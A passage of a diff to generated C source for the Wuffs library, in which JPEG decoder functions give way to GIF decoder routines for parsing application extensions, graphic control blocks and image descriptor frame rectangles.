(a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); +- goto exit; ++ if (v_block_size == 0u) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ self->private_data.s_skip_blocks.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_skip_blocks.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_blocks.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_blocks.scratch; + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_skip_blocks = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_skip_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func jpeg.decoder.do_decode_image_config ++// -------- func gif.decoder.decode_ae + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_gif__decoder__decode_ae( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_marker = 0; +- uint32_t v_pixfmt = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_block_size = 0; ++ bool v_is_animexts = false; ++ bool v_is_netscape = false; ++ bool v_is_iccp = false; ++ bool v_is_xmp = false; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42362,253 +42476,191 @@ wuffs_jpeg__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_ae; + if (coro_susp_point) { +- v_marker = self->private_data.s_do_decode_image_config[0].v_marker; ++ v_block_size = self->private_data.s_decode_ae.v_block_size; ++ v_is_animexts = self->private_data.s_decode_ae.v_is_animexts; ++ v_is_netscape = self->private_data.s_decode_ae.v_is_netscape; ++ v_is_iccp = self->private_data.s_decode_ae.v_is_iccp; ++ v_is_xmp = self->private_data.s_decode_ae.v_is_xmp; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ do { ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 255u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_size = t_0; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 216u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); +- goto exit; +- } +- while (true) { +- while (true) { ++ if (v_block_size == 0u) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ if (v_block_size != 11u) { ++ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; ++ break; ++ } ++ v_is_animexts = true; ++ v_is_netscape = true; ++ v_is_iccp = true; ++ v_is_xmp = true; ++ v_block_size = 0u; ++ while (v_block_size < 11u) { + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_is_animexts = (v_is_animexts && (v_c8 == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); ++ v_is_netscape = (v_is_netscape && (v_c8 == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); ++ v_is_iccp = (v_is_iccp && (v_c8 == WUFFS_GIF__ICCRGBG1012[v_block_size])); ++ v_is_xmp = (v_is_xmp && (v_c8 == WUFFS_GIF__XMPDATAXMP[v_block_size])); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_block_size += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ if (v_is_animexts || v_is_netscape) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } + uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ v_block_size = t_2; + } +- if (v_c == 255u) { ++ if (v_block_size != 3u) { ++ self->private_data.s_decode_ae.scratch = ((uint32_t)(v_block_size)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; + break; + } +- } +- while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } + uint8_t t_3 = *iop_a_src++; +- v_c = t_3; ++ v_c8 = t_3; + } +- if (v_c != 255u) { +- v_marker = v_c; ++ if (v_c8 != 1u) { ++ self->private_data.s_decode_ae.scratch = 2u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (self->private_data.s_decode_ae.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_ae.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_ae.scratch; + break; + } +- } +- if (v_marker == 0u) { +- continue; +- } else if ((208u <= v_marker) && (v_marker <= 217u)) { +- if (v_marker <= 215u) { +- continue; +- } +- } else { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); + uint32_t t_4; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ self->private_data.s_decode_ae.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_decode_ae.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; + if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch >> 48)); ++ t_4 = ((uint32_t)(*scratch)); + break; + } + num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } + } +- self->private_impl.f_payload_length = t_4; +- } +- if (self->private_impl.f_payload_length < 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 2u; +- } +- if (v_marker < 192u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else if (v_marker < 208u) { +- if (v_marker <= 194u) { +- if (self->private_impl.f_sof_marker != 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } +- self->private_impl.f_sof_marker = v_marker; +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_jpeg__decoder__decode_sof(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- break; +- } else if (v_marker == 195u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); +- goto exit; +- } else if (v_marker == 196u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } else if ((197u <= v_marker) && (v_marker <= 199u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); +- goto exit; +- } else if (v_marker == 200u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); +- goto exit; +- } +- } else if (v_marker < 224u) { +- if (v_marker < 218u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } else if (v_marker == 218u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (v_marker == 219u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_marker == 221u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__decode_dri(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- } else if (v_marker < 240u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ self->private_impl.f_num_animation_loops_value = t_4; + } +- continue; +- } else { +- if (v_marker == 254u) { +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; ++ self->private_impl.f_seen_num_animation_loops_value = true; ++ if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { ++ self->private_impl.f_num_animation_loops_value += 1u; + } ++ } else if (self->private_impl.f_call_sequence >= 32u) { ++ } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { ++ self->private_impl.f_metadata_fourcc = 1229144912u; ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { ++ self->private_impl.f_metadata_fourcc = 1481461792u; ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; + } +- self->private_data.s_do_decode_image_config[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ } while (0); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.choosy_decode_idct = ( +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : +-#endif +- self->private_impl.choosy_decode_idct); +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- v_pixfmt = 536870920u; +- if (self->private_impl.f_num_components > 1u) { +- v_pixfmt = 2415954056u; +- } +- wuffs_base__image_config__set( +- a_dst, +- v_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- true); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ status = wuffs_gif__decoder__skip_blocks(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } +- self->private_impl.f_call_sequence = 32u; + +- goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_decode_ae = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_marker = v_marker; ++ self->private_impl.p_decode_ae = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_ae.v_block_size = v_block_size; ++ self->private_data.s_decode_ae.v_is_animexts = v_is_animexts; ++ self->private_data.s_decode_ae.v_is_netscape = v_is_netscape; ++ self->private_data.s_decode_ae.v_is_iccp = v_is_iccp; ++ self->private_data.s_decode_ae.v_is_xmp = v_is_xmp; + + goto exit; + exit: +@@ -42619,18 +42671,18 @@ wuffs_jpeg__decoder__do_decode_image_config( + return status; + } + +-// -------- func jpeg.decoder.decode_dqt ++// -------- func gif.decoder.decode_gc + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_dqt( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_gc( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_q = 0; +- uint32_t v_i = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_flags = 0; ++ uint16_t v_gc_duration_centiseconds = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -42643,73 +42695,103 @@ wuffs_jpeg__decoder__decode_dqt( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_dqt[0]; +- if (coro_susp_point) { +- v_q = self->private_data.s_decode_dqt[0].v_q; +- v_i = self->private_data.s_decode_dqt[0].v_i; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_gc; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (self->private_impl.f_payload_length > 0u) { +- self->private_impl.f_payload_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if ((v_c & 15u) > 3u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_q = (v_c & 15u); +- if ((v_c >> 4u) == 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); +- goto exit; +- } else if (((v_c >> 4u) > 1u) || (self->private_impl.f_payload_length < 64u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); +- goto exit; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 4u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_payload_length -= 64u; +- v_i = 0u; +- while (v_i < 64u) { +- v_i += 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint8_t t_1 = *iop_a_src++; ++ v_flags = t_1; ++ } ++ self->private_impl.f_gc_has_transparent_index = (((uint8_t)(v_flags & 1u)) != 0u); ++ v_flags = ((uint8_t)(((uint8_t)(v_flags >> 2u)) & 7u)); ++ if (v_flags == 2u) { ++ self->private_impl.f_gc_disposal = 1u; ++ } else if ((v_flags == 3u) || (v_flags == 4u)) { ++ self->private_impl.f_gc_disposal = 2u; ++ } else { ++ self->private_impl.f_gc_disposal = 0u; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint16_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_gc.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint16_t t_1 = *iop_a_src++; +- self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; ++ uint64_t* scratch = &self->private_data.s_decode_gc.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 8) { ++ t_2 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; + } + } +- self->private_impl.f_seen_dqt[v_q] = true; +- if (self->private_impl.f_sof_marker == 0u) { +- v_i = 0u; +- while (v_i < 64u) { +- self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; +- v_i += 1u; +- } +- self->private_impl.f_saved_seen_dqt[v_q] = true; ++ v_gc_duration_centiseconds = t_2; ++ } ++ self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ self->private_impl.f_gc_transparent_index = t_3; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ goto exit; + } + + goto ok; + ok: +- self->private_impl.p_decode_dqt[0] = 0; ++ self->private_impl.p_decode_gc = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_dqt[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_dqt[0].v_q = v_q; +- self->private_data.s_decode_dqt[0].v_i = v_i; ++ self->private_impl.p_decode_gc = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -42720,12 +42802,12 @@ wuffs_jpeg__decoder__decode_dqt( + return status; + } + +-// -------- func jpeg.decoder.decode_dri ++// -------- func gif.decoder.decode_id_part0 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_dri( +- wuffs_jpeg__decoder* self, ++wuffs_gif__decoder__decode_id_part0( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +@@ -42740,57 +42822,144 @@ wuffs_jpeg__decoder__decode_dri( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_dri[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_id_part0; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_payload_length != 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint16_t t_0; ++ uint32_t t_0; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); + iop_a_src += 2; + } else { +- self->private_data.s_decode_dri[0].scratch = 0; ++ self->private_data.s_decode_id_part0.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_dri[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; + if (num_bits_0 == 8) { +- t_0 = ((uint16_t)(*scratch >> 48)); ++ t_0 = ((uint32_t)(*scratch)); + break; + } + num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_restart_interval = t_0; ++ self->private_impl.f_frame_rect_x0 = t_0; + } +- if (self->private_impl.f_sof_marker == 0u) { +- self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_y0 = t_1; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_x1 = t_2; ++ } ++ self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_id_part0.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_id_part0.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ self->private_impl.f_frame_rect_y1 = t_3; ++ } ++ self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; ++ self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; ++ self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; ++ if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { ++ 